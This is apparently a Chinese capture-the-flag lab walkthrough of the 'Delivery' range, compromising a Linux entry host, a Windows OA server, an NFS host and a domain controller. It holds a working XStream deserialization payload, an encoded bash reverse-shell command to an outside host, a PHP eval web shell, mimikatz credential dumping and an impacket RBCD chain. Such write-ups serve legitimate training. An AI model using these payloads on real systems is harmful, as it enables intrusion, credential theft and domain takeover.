Delivery
在这个靶场中，您将扮演一名渗透测试工程师，受雇于一家名为 Delivery 的小型科技初创公司，并对该公司进行一次渗透测试。你的目标是成功获取域控制器权限，以评估公司的网络安全状况。该靶场共有 4 个 Flag，分布于不同的靶机。
信息
Tags
- XStream
- 内网渗透
- 域渗透
入口点
39.99.229.247
入口点探测
使用 fscan 执行入口机探测
./tools/fscan_1.8.4/fscan -h 39.99.229.247
start infoscan
39.99.229.247:8080 open
39.99.229.247:22 open
39.99.229.247:21 open
39.99.229.247:80 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://39.99.229.247 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works
[+] ftp 39.99.229.247:21:anonymous
[->]1.txt
[->]pom.xml
[*] WebTitle http://39.99.229.247:8080 code:200 len:3655 title:公司发货单
入口机 Port 21 FTP
使用匿名连接 ftp 服务
ftp> ls -laih
229 Entering Extended Passive Mode (|||17425|)
150 Here comes the directory listing.
dr-xr-xr-x 2 0 0 4096 Aug 12 2022 .
dr-xr-xr-x 2 0 0 4096 Aug 12 2022 ..
-rw-r--r-- 1 0 0 1 Aug 10 2022 1.txt
-rw-r--r-- 1 0 0 1950 Aug 12 2022 pom.xml
226 Directory send OK.
将这两个文件下载下来进行分析
1.txt
文件为空
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.2</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>ezjava</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>ezjava</name>
<description>ezjava</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.16</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
经典的 springframework + commons-collections
以及 xstream 1.4.16 存在有漏洞 CVE-2021-21342、CVE-2021-29505 等等
入口机 Port 8080 Web
直接进行访问
抓包看一下 POST 的数据
POST /just_sumbit_it HTTP/1.1
Host: 39.99.229.247:8080
Content-Length: 115
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Origin: http://39.99.229.247:8080
Referer: http://39.99.229.247:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<user><firstname>123</firstname><lastname>123</lastname><mobile>123</mobile><mfrom>123</mfrom><mto>123</mto></user>
将 POST 的数据改为恶意的载荷
POST /just_sumbit_it HTTP/1.1
Host: 39.99.229.247:8080
Content-Length: 3113
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Origin: http://39.99.229.247:8080
Referer: http://39.99.229.247:8080/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2001fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>8.129.29.180</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>8.129.29.180</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
同时启动一个 RMI Server
./jdk1.8.0_481/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEyOS4yOS4xODAvMTAwMDUgMD4mMQ==}|{base64,-
d}|{bash,-i}"
发送恶意请求包，随后 RMI Server 被请求，即可收到回连的 shell
[20:52:19] received connection from 39.99.229.53:40868
[20:52:20] 39.99.229.53:40868: registered new host w/ db
(local) pwncat$ back
(remote) root@ubuntu:/# whoami
root
flag - 01
(remote) root@ubuntu:/# ls -laih /root/
total 52K
393218 drwx------ 7 root root 4.0K Aug 12 2022 .
2 drwxr-xr-x 18 root root 4.0K Apr 1 20:49 ..
393224 -rw------- 1 root root 0 Aug 12 2022 .bash_history
393219 -rw-r--r-- 1 root root 3.1K Dec 5 2019 .bashrc
393221 drwx------ 3 root root 4.0K Jul 5 2022 .cache
393225 drwxr-xr-x 2 root root 4.0K Apr 1 20:49 flag
393226 drwxr-xr-x 2 root root 4.0K Aug 11 2022 .oracle_jre_usage
393329 drwxr-xr-x 2 root root 4.0K Jul 5 2022 .pip
393220 -rw-r--r-- 1 root root 161 Dec 5 2019 .profile
404666 -rw-r--r-- 1 root root 206 Apr 1 20:49 .pydistutils.cfg
528671 drwx------ 2 root root 4.0K Jul 5 2022 .ssh
393232 -rw------- 1 root root 8.1K Aug 12 2022 .viminfo
(remote) root@ubuntu:/# cat /root/flag/flag01.txt
██████ ██ ██ ██ ██
██░░░░██ █████ ░██ ░██ ░██ ░░
██ ░░ ██████ ███████ ██░░░██ ██████ ██████ ██████ ██ ██ ░██ ██████ ██████ ██ ██████ ███████ ██████
░██ ██░░░░██░░██░░░██░██ ░██░░██░░█ ░░░░░░██ ░░░██░ ░██ ░██ ░██ ░░░░░░██ ░░░██░ ░██ ██░░░░██░░██░░░██ ██░░░░
░██ ░██ ░██ ░██ ░██░░██████ ░██ ░ ███████ ░██ ░██ ░██ ░██ ███████ ░██ ░██░██ ░██ ░██ ░██░░█████
░░██ ██░██ ░██ ░██ ░██ ░░░░░██ ░██ ██░░░░██ ░██ ░██ ░██ ░██ ██░░░░██ ░██ ░██░██ ░██ ░██ ░██ ░░░░░██
░░██████ ░░██████ ███ ░██ █████ ░███ ░░████████ ░░██ ░░██████ ███░░████████ ░░██ ░██░░██████ ███ ░██ ██████
░░░░░░ ░░░░░░ ░░░ ░░ ░░░░░ ░░░ ░░░░░░░░ ░░ ░░░░░░ ░░░ ░░░░░░░░ ░░ ░░ ░░░░░░ ░░░ ░░ ░░░░░░
flag01: flag{4b5fdf5d-31e1-4bb7-89ce-c9ee66b1f733}
入口机 代理枢纽
查看网卡信息
(remote) root@ubuntu:/etc# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.22.13.14 netmask 255.255.0.0 broadcast 172.22.255.255
inet6 fe80::216:3eff:fe2d:2fe1 prefixlen 64 scopeid 0x20<link>
ether 00:16:3e:2d:2f:e1 txqueuelen 1000 (Ethernet)
RX packets 98474 bytes 141326557 (141.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 19455 bytes 2149188 (2.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 598 bytes 54807 (54.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 598 bytes 54807 (54.8 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
探测内网环境
./fscan -h 172.22.13.0/24
start vulscan
[*] NetInfo
[*]172.22.13.6
[->]WIN-DC
[->]172.22.13.6
[*] NetBios 172.22.13.6 [+] DC:XIAORANG\WIN-DC
[*] NetInfo
[*]172.22.13.28
[->]WIN-HAUWOLAO
[->]172.22.13.28
[*] WebTitle http://172.22.13.28 code:200 len:2525 title:欢迎登录OA办公平台
[*] WebTitle http://172.22.13.57 code:200 len:4833 title:Welcome to CentOS
[*] WebTitle http://172.22.13.14 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works
[*] NetBios 172.22.13.28 WIN-HAUWOLAO.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle http://172.22.13.28:8000 code:200 len:170 title:Nothing Here.
[+] ftp 172.22.13.14:21:anonymous
[->]1.txt
[->]pom.xml
[*] WebTitle http://172.22.13.14:8080 code:200 len:3655 title:公司发货单
[+] mysql 172.22.13.28:3306:root 123456
建立内网代理
./chisel_1.10.1_linux_amd64 client 8.129.29.180:10000 R:0.0.0.0:10001:socks
WIN-HAUWOLAO MySQL
在先前的内网扫描中，注意到 3306 端口存在有 mysql 弱口令
mysql 172.22.13.28:3306:root 123456
尝试进行连接
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.073 sec)
没有数据表的话，尝试 UDF
参考：Red-vs-Blue/linux 环境下的 MySQL UDF 提权.md at master・SEC-GO/Red-vs-Blue
MySQL [(none)]> show variables like "%secure_file_priv%";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set, 1 warning (0.083 sec)
MySQL [(none)]> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
+-----------+------+-----------------------+
| host | user | plugin |
+-----------+------+-----------------------+
| localhost | root | mysql_native_password |
| % | root | mysql_native_password |
+-----------+------+-----------------------+
2 rows in set (0.073 sec)
MySQL [(none)]> show variables like "%plugin%";
+-------------------------------+----------------------------------------------------+
| Variable_name | Value |
+-------------------------------+----------------------------------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ |
+-------------------------------+----------------------------------------------------+
2 rows in set, 1 warning (0.076 sec)
MySQL [(none)]> show variables like 'version_compile_%';
+-------------------------+--------+
| Variable_name | Value |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os | Win64 |
+-------------------------+--------+
2 rows in set, 1 warning (0.075 sec)
具备有进行 UDF 操作的条件
准备 UDF 操作的 sql 语句
UDF 的 HEX 载荷，可以从 MDUT/MDAT-DEV/src/main/Plugins/Mysql/udf_win64_hex.txt at main · SafeGroceryStore/MDUT 中获得
select unhex('4D5A900003000000040......') into dumpfile 'C:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/mysqludf.so';
ERROR 1 (HY000): Can't create/write to file 'C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\mysqludf.so' (Errcode: 2 - No such file or directory)
看样子 UDF 这条路被拦截了，但是由于 secure_file_priv 为空，并且知道是 phpstudy 环境，可以尝试直接写文件
sselect "<?php @eval($_POST['a']) ?>" into dumpfile 'C:/phpstudy_pro/WWW/shell.php';
尝试用蚁剑进行连接
flag - 02
C:\phpstudy_pro\WWW> type C:\Users\Administrator\flag\flag03.txt
::::::::::::: ::: :::::::: ::::::: ::::::::
:+: :+: :+: :+: :+: :+::+: :+::+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
:#::+::# +#+ +#++:++#++::#: +#+ +:+ +#++:
+#+ +#+ +#+ +#++#+ +#+#+#+ +#+ +#+
#+# #+# #+# #+##+# #+##+# #+##+# #+#
### ############# ### ######## ####### ########
flag03: flag{28163c00-641c-461e-b61b-994960212f25}
域信息收集
由于 web 服务权限就是 SYSTEM 所以直接添加用户
net user randark Admin123### /add
net localgroup administrators randark /add
然后 RDP 连上去，直接部署工具
抓取哈希
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit"
......
Authentication Id : 0 ; 95111 (00000000:00017387)
Session : Service from 0
User Name : chenglei
Domain : XIAORANG
Logon Server : WIN-DC
Logon Time : 2026/4/1 20:50:14
SID : S-1-5-21-3269458654-3569381900-10559451-1105
msv :
[00000003] Primary
* Username : chenglei
* Domain : XIAORANG
* NTLM : 0c00801c30594a1b8eaa889d237c5382
* SHA1 : e8848f8a454e08957ec9814b9709129b7101fad7
* DPAPI : 89b179dc738db098372c365602b7b0f4
tspkg :
wdigest :
* Username : chenglei
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : chenglei
* Domain : XIAORANG.LAB
* Password : Xt61f3LBhg1
ssp :
credman :
抓取域信息
C:\Users\randark\Desktop>Adinfo_win.exe -u chenglei -d XIAORANG.LAB -p Xt61f3LBhg1 --dc 172.22.13.6
[i] Try to connect '172.22.13.6'
[c] Auth Domain: XIAORANG.LAB
[c] Auth user: chenglei@XIAORANG.LAB
[c] Auth Pass: Xt61f3LBhg1
[c] connected successfully,try to dump domain info
[i] DomainVersion found!
[+] Windows 2019 Server operating system
[i] Domain SID:
[+] S-1-5-21-3269458654-3569381900-10559451
[i] Domain MAQ found
[+] 10
[i] Domain Account Policy found
[+] pwdHistory: 24
[+] minPwdLength: 7
[+] minPwdAge: 1(day)
[+] maxPwdAge: 10675199(day)
[+] lockoutThreshold: 0
[+] lockoutDuration: 10(min)
[i] Domain Controllers: 1 found
[+] WIN-DC$ ==>>> Windows Server 2022 Datacenter [10.0 (20348)] ==>>> 172.22.13.6
[i] ADCS has not found!
[i] Domain Exchange Server: 0 found
[i] Domain All DNS:
[+] Domain Dns 2 found,Saved in All_DNS.csv
[i] Domain Trusts: 0 found
[i] SPN: 31 found
[i] Domain GPOs: 2 found
[i] Domain Admins: 1 users found
[+]Administrator
[i] Enterprise Admins: 1 users found
[+]Administrator
[i] administrators: 1 users found
[+]Administrator
[i] Backup Operators: 0 users found
[i] Users: 6 found
[i] User with Mail: 0 found
[i] Only_name_and_Useful_Users: 4 found
[i] Only_admincount=1_andUseful_Users: 1 found
[i] Locked Users: 0 found
[i] Disabled Users: 2 found
[i] Users with passwords not set to expire: 1 found
[i] Domain Computers: 2 found
[i] Only_name_and_Useful_computers: 2 found
[i] Groups: 49 found
[i] Domain OUs: 1 found
[i] LAPS Not found
[i] LAPS passwords: 0 found
[i] SensitiveDelegate Users: 0 found
[i] AsReproast Users: 0 found
[i] Kerberoast Users: 1 found
[+] CN=krbtgt,CN=Users,DC=xiaorang,DC=lab ==>>> kadmin/changepw
[i] SIDHistory Users: 0 found
[i] CreatorSID Users: 0 found
[i] RBCD Users: 0 found
[i] Unconstrained Deligation Users: 0 found
[i] Constrained Deligation Users: 0 found
[i] Krbtgt password last set time: 2023-07-11 13:41:47 +0800 CST
[i] CSVs written to 'csv' directory in C:\Users\randark\Desktop
[i] Execution took 184.2091ms
对 AdInfo 的结果进行分析，注意到这条记录
chenglei,,2026-04-01 21:05:37 +0800 CST,2023-07-11 14:57:52 +0800 CST,805306368,,,,,"CN=chenglei,CN=Users,DC=xiaorang,DC=lab","CN=ACL Admin,CN=Users,DC=xiaorang,DC=lab"
域 RBCD
上文的结果说明，当前捕获的这个用户，是 ACL Admin 组的成员
按照 RBCD 思路去打就行
┌──(randark㉿kali)-[~]
└─$ proxychains -q impacket-addcomputer xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass 'P@ssw0rd'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account TEST$ with password P@ssw0rd.
┌──(randark㉿kali)-[~]
└─$ proxychains -q impacket-rbcd xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'TEST$'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] TEST$ can now impersonate users on WIN-DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] TEST$ (S-1-5-21-3269458654-3569381900-10559451-1108)
┌──(randark㉿kali)-[~]
└─$ proxychains -q impacket-getST xiaorang.lab/'TEST$':'P@ssw0rd' -spn cifs/WIN-DC.xiaorang.lab -impersonate Administrator -dc-ip 172.22.13.6
export KRB5CCNAME=Administrator@cifs_WIN-DC.xiaorang.lab@XIAORANG.LAB.ccache
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_WIN-DC.xiaorang.lab@XIAORANG.LAB.ccache
添加一条 hosts 记录
172.22.60.8 WIN-DC.xiaorang.lab
即可直接 getshell
┌──(randark㉿kali)-[~]
└─$ proxychains impacket-psexec Administrator@WIN-DC.xiaorang.lab -k -no-pass -dc-ip 172.22.13.6
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 8.129.29.180:10001 ... 172.22.13.6:445 ... OK
[*] Requesting shares on WIN-DC.xiaorang.lab.....
[*] Found writable share ADMIN$
[*] Uploading file AnEccIOO.exe
[*] Opening SVCManager on WIN-DC.xiaorang.lab.....
[*] Creating service AufY on WIN-DC.xiaorang.lab.....
[*] Starting service AufY.....
C:\Windows\system32> dir C:\Users\Administrator
Volume in drive C has no label.
Volume Serial Number is C237-2C0F
Directory of C:\Users\Administrator
2023/07/11 16:24 <DIR> .
2023/07/11 13:36 <DIR> ..
2023/07/11 13:36 <DIR> 3D Objects
2023/07/11 13:36 <DIR> Contacts
2023/07/11 16:25 <DIR> Desktop
2023/07/11 13:36 <DIR> Documents
2023/07/11 13:36 <DIR> Downloads
2023/07/11 13:36 <DIR> Favorites
2023/07/11 16:24 <DIR> flag
2023/07/11 13:36 <DIR> Links
2023/07/11 13:36 <DIR> Music
2023/07/11 13:36 <DIR> Pictures
2023/07/11 13:36 <DIR> Saved Games
2023/07/11 13:36 <DIR> Searches
2023/07/11 13:36 <DIR> Videos
0 File(s) 0 bytes
15 Dir(s) 27,668,508,672 bytes free
flag - 04
C:\Windows\system32> type C:\Users\Administrator\flag\flag04.txt
d88888b db .d8b. d888b .d88b. j88D
88' 88 d8' `8b 88' Y8b .8P 88. j8~88
88ooo 88 88ooo88 88 88 d'88 j8' 88
88~~~ 88 88~~~88 88 ooo 88 d' 88 V88888D
88 88booo. 88 88 88. ~8~ `88 d8' 88
YP Y88888P YP YP Y888P `Y88P' VP
flag04: flag{64832d7a-5e35-4e23-81a0-daaf7500a02a}
Linux NFS
在最初的那台Linux机器上，更新包缓存，并安装工具
(remote) root@ubuntu:/etc# sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
(remote) root@ubuntu:/etc# apt-get update
......
(remote) root@ubuntu:/etc# apt-get install nfs-common -y
......
然后连接 NFS
(remote) root@ubuntu:/etc# cd /
(remote) root@ubuntu:/# mkdir temp
(remote) root@ubuntu:/# mount -t nfs 172.22.13.57:/ ./temp -o nolock
写入 ssh 私钥
(remote) root@ubuntu:/# ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:fvUWozhf35OFvOBtfP8wAHgdo+lCN3w0HgoLTzDkPbs root@ubuntu
The key's randomart image is:
+---[RSA 4096]----+
| .=.o * |
| . * = B = |
| . B X + |
| . * + |
| S . o.o. |
| . o o.+oo.|
| E +..+*.o|
| . o.o=*o|
| .. .O|
+----[SHA256]-----+
(remote) root@ubuntu:/# cd /temp/home/joyce/
(remote) root@ubuntu:/temp/home/joyce# mkdir .ssh
(remote) root@ubuntu:/temp/home/joyce# cat /root/.ssh/id_rsa.pub >> /temp/home/joyce/.ssh/authorized_keys
随后就可以连接目标机器的ssh
(remote) root@ubuntu:/temp/home/joyce# ssh -i /root/.ssh/id_rsa joyce@172.22.13.57
Last login: Wed Apr 1 22:13:41 2026 from 172.22.13.14
Welcome to Alibaba Cloud Elastic Compute Service !
[joyce@centos ~]$ whoami
joyce
flag - 02
flag权限较高，需要找一个提权的路径
[joyce@centos ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/bin/sudo
/usr/bin/chage
/usr/bin/at
/usr/bin/mount
/usr/bin/crontab
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/ftp
/usr/bin/umount
一眼相中 ftp
入口机
(remote) root@ubuntu:/temp/home/joyce# python3 -m pyftpdlib -p 6666 -u test -P test -w
[I 2026-04-01 22:18:49] concurrency model: async
[I 2026-04-01 22:18:49] masquerade (NAT) address: None
[I 2026-04-01 22:18:49] passive ports: None
[I 2026-04-01 22:18:49] >>> starting FTP server on 0.0.0.0:6666, pid=4617 <<<
Linux NFS
[joyce@centos ~]$ ftp 172.22.13.14 6666
Connected to 172.22.13.14 (172.22.13.14).
220 pyftpdlib 1.5.6 ready.
Name (172.22.13.14:joyce): test
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put /flag02.txt
local: /flag02.txt remote: /flag02.txt
227 Entering passive mode (172,22,13,14,204,209).
125 Data connection already open. Transfer starting.
226 Transfer complete.
466 bytes sent in 1.9e-05 secs (24526.32 Kbytes/sec)
即可在入口机收到 flag02 文件
(remote) root@ubuntu:/temp/home/joyce# cat flag02.txt
SSS h d CCC d t l
S h d C d t ii l
SSS hhh aa ddd ooo w w C rrr eee ddd eee nnn ttt aa l ss
S h h a a d d o o w w w C r e e d d e e n n t ii a a l s
SSSS h h aaa ddd ooo w w CCC r ee ddd ee n n tt ii aaa l ss
flag02: flag{a85b9c4f-cdf5-4d0d-a46b-3a8aa3aff6fc}
hint: relay race